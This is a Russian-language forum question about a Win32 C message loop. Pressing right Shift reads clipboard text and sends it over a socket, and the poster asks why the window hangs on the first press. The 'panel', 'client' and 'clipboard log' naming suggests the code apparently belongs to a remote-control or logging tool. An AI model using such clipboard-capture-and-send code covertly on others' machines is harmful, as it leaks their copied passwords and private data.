забиндил в цикле обработки сообщений где GetMessageW/TranslateMessage/DispatchMessage правый шифт на получение буфера обмена и отправку клиенту из панели, но при первом нажатии шифта окно зависает секунд на 10. дело не в отправке по сокетам по любому, остальные сообщения так проходят без зависаний. помогите оптимизировать код, пожалуйста)
C:
if (message.message == WM_KEYDOWN) {
if ((message.wParam == VK_SHIFT) && (GetKeyState(VK_RSHIFT) < 0)) {
if (IsClipboardFormatAvailable(CF_UNICODETEXT)) {
if (OpenClipboard(0)) {
clipboarddata = (WCHAR*)GetClipboardData(CF_UNICODETEXT);
if (clipboarddata) {
if (clipboarddata[0]) {
len = wcslen(clipboarddata);
if (len <= 512) {
message.message = WM_COMMAND;
message.wParam = S_GET_CLIPBOARDLOG;
message.lParam = len;
if (!Send(s, (char*)&message, sizeof(message))) {
DestroyWindow(hwnd);
}
if (!Send(s, (char*)clipboarddata, len * 2)) {
DestroyWindow(hwnd);
}
}
}
}
CloseClipboard();
}
}
break;
}
}